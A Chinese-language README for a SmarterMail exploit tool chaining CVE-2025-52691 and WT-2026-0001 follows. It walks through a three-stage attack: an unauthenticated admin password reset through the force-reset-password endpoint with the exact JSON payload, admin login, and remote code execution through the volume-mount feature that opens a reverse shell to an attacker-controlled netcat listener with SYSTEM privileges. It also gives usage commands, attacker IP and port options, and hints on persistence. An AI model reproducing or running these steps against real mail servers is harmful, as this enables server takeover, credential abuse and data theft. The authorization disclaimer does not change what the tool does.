CVE-2025-52691 / WT-2026-0001 SmarterMail 漏洞利用工具

🚨 重要提示

本工具仅用于授权安全测试和教育目的！

未经授权的使用是非法的且不道德的
仅在获得明确授权的系统上使用
使用风险自负
用户需遵守所有适用法律

📋 概述

本漏洞利用工具结合了 SmarterMail 中的两个关键漏洞：

CVE-2025-52691：通过文件上传实现预授权远程代码执行
- CVSS 评分：10.0（严重）
- 受影响版本：Build 9406 及更早版本，Build 16.3.6989.16341 及更早版本
- 修复版本：Build 9413 及更高版本

https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691

WT-2026-0001：通过密码重置绕过身份验证
- 未分配 CVE-ID
- 受影响版本：截至 Build 9510
- 修复版本：Build 9511（2026 年 1 月 15 日）

https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/

攻击向量

该漏洞利用分为三个阶段：

第一阶段：通过 WT-2026-0001 绕过身份验证
- 无需验证旧密码即可更改管理员密码
第二阶段：使用新密码登录管理员账号
- 认证到 SmarterMail Web 界面
第三阶段：通过卷挂载功能实现远程代码执行（RCE）
- 创建带有反向 Shell 命令的卷挂载
- 以 SYSTEM 权限执行操作系统命令

前提条件

系统要求

Python 3.6+
Netcat (nc)
curl
Linux/macOS/Windows (WSL)

安装说明

# 安装 Python 3（如果尚未安装）
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip

# macOS
brew install python3

# Windows (WSL)
wsl --install

# 安装 netcat
# Ubuntu/Debian
sudo apt install netcat

# macOS
brew install netcat

# Windows (WSL)
sudo apt install netcat-traditional

安装依赖

# Python 依赖（如果需要）
pip3 install requests

快速开始

方法 1：自动设置（推荐）

# 赋予执行权限
chmod +x run_exploit.sh

# 自动设置
./run_exploit.sh --auto

# 或交互式设置
./run_exploit.sh

方法 2：直接执行

# 设置监听器（在一个终端中）
nc -lvnp 4444

# 运行漏洞利用（在第二个终端中）
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

方法 3：使用所有选项

python3 exploit.py \
  -H http://192.168.1.100 \
  -P 9998 \
  -A 192.168.1.50 \
  -p 4444 \
  -d \
  --admin-username admin \
  --new-password "MySecurePassword123!"

详细说明

步骤 1：准备

目标识别

# 检查目标主机
curl -I http://192.168.1.100:9998

# 识别 SmarterMail 版本
# （通常在登录页面或 HTTP 头中）

监听器设置

# 在终端 1：启动监听器
nc -lvnp 4444

# 监听器必须在漏洞利用执行前运行

网络验证

# 确保攻击者与目标之间可以通信
ping 192.168.1.100
nc -zv 192.168.1.100 9998

步骤 2：执行漏洞利用

# 使用运行脚本（推荐）
./run_exploit.sh

# 或直接使用 Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

步骤 3：利用完成后

Shell 连接

# 在监听器终端中，应该会出现一个连接
# 您应该获得一个 SYSTEM shell

验证访问

# 在获得的 shell 中
whoami
hostname
ipconfig /all  # Windows
ifconfig       # Linux

持久化访问

# 可选：设置持久化
# Windows：安装为服务
# Linux：Cron 任务或 systemd 服务

🔧 配置选项

Exploit.py 参数

参数	描述	默认值
`-H, --host`	目标主机（必需）	-
`-P, --port`	目标端口	9998
`-A, --attacker-ip`	攻击者 IP（用于反向 shell）（必需）	-
`-p, --attacker-port`	攻击者端口（用于反向 shell）（必需）	-
`-d, --debug`	启用调试模式	False
`--admin-username`	管理员用户名	admin
`--new-password`	新管理员密码	NewPassword123!@#

Run_Exploit.sh 参数

参数	描述
`-t, --target`	目标主机
`-p, --port`	目标端口
`-a, --attacker-ip`	攻击者 IP
`-l, --listener-port`	监听器端口
`-n, --new-password`	新管理员密码
`-u, --admin-user`	管理员用户名
`-d, --debug`	调试模式
`--auto`	自动模式

示例

示例 1：基本用法

# 终端 1：启动监听器
nc -lvnp 4444

# 终端 2：运行漏洞利用
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

示例 2：使用自定义凭据

python3 exploit.py \
  -H https://mail.company.com \
  -P 443 \
  -A 10.0.0.1 \
  -p 8080 \
  --admin-username administrator \
  --new-password "ComplexPassword123!@#"

示例 3：调试模式

python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

示例 4：自动设置

./run_exploit.sh --auto

技术细节

第一阶段：绕过身份验证

端点：POST /api/v1/auth/force-reset-password

载荷：

{
  "IsSysAdmin": "true",
  "OldPassword": "dummy",
  "Username": "admin",
  "NewPassword": "NewPassword123!@#",
  "ConfirmPassword": "NewPassword123!@#"
}

成功响应：

{
  "success": true,
  "resultCode": 200,
  "debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}

第二阶段：管理员登录

端点：POST /api/v1/auth/login

载荷：

{
  "username": "admin",
  "password": "NewPassword123!@#"
}

第三阶段：通过卷挂载实现 RCE

端点：POST /api/v1/settings/volume-mounts

载荷：

{
  "name": "random_volume_name",
  "path": "C:\\Temp\\random_volume_name",
  "command": "powershell reverse shell command",
  "enabled": true,
  "type": "command"
}

故障排除

常见问题

1. 端口被阻断

# 错误：“Connection refused”
# 解决方法：检查防火墙并开放端口
sudo ufw allow 9998

2. 监听器无法访问

# 错误：“Connection failed”
# 解决方法：检查监听器设置
nc -lvnp 4444

3. 认证失败

# 错误：“Login failed”
# 解决方法：检查目标版本（必须存在漏洞）

5. RCE 失败

# 错误：“Volume mount creation failed”
# 解决方法：检查管理员权限，目标系统

调试模式

启用调试模式以获取详细输出：

python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

⚠️ 安全说明

法律方面

仅进行授权测试
获得书面许可
确保遵守当地法律
不要在生产系统上测试

安全预防措施

测试环境：始终在受控环境中测试
目标验证：确保目标是测试系统
网络隔离：将测试系统与生产网络隔离
文档记录：记录所有测试
清理工作：测试后清除所有痕迹

负责任使用

不要造成损害
不要窃取或篡改数据
不要禁用系统
对责任方保持透明

更新与维护

版本说明

v1.0：初始版本，具备完整功能
未来更新：改进错误处理和稳定性

🙏 致谢

watchTowr Labs 进行原始研究
安全研究社区 提供支持
所有为改进做出贡献的人

⚠️ 记住：能力越大，责任越大！

最受欢迎

CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001